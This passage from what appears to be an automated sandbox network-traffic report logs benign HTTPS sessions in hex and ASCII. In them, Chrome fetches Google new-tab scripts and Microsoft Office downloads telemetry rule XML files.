enu-content","metadata":{"bar_height":60,"experiment_id":[3700337,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c Data Ascii: (\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e Data Ascii: ctor(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 74 65 5c 75 30 30 33 64 Data Ascii: ocument,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.te\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49741	172.217.21.36	443	936	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:33 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 08:16:34 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 08:16:34 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 08:16:34 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 08:16:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:34 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081634Z-178bfbc474btvfdfhC1NYCa2en000000049g000000005qmm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:34 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081634Z-178bfbc474bpscmfhC1NYCfc2c00000002u00000000052ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:34 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081634Z-15b8b599d885ffrhhC1TEBtuv000000002u0000000001ym2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:34 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081634Z-178bfbc474b9xljthC1NYCtw94000000042000000000a02r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:34 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:34 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081634Z-178bfbc474bgvl54hC1NYCsfuw000000047g000000003d80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:34 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:36 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081636Z-174c587ffdftv9hphC1TEBm29w00000002f000000000m2wr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:36 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:36 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081636Z-178bfbc474b7cbwqhC1NYC8z4n0000000430000000007323 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:36 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:36 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:36 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081636Z-174c587ffdf59vqchC1TEByk6800000002rg00000000f074 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:36 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:36 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4246a62e-c01e-008e-5315-3d7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081636Z-178bfbc474btrnf9hC1NYCb80g000000049g00000000b2xh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
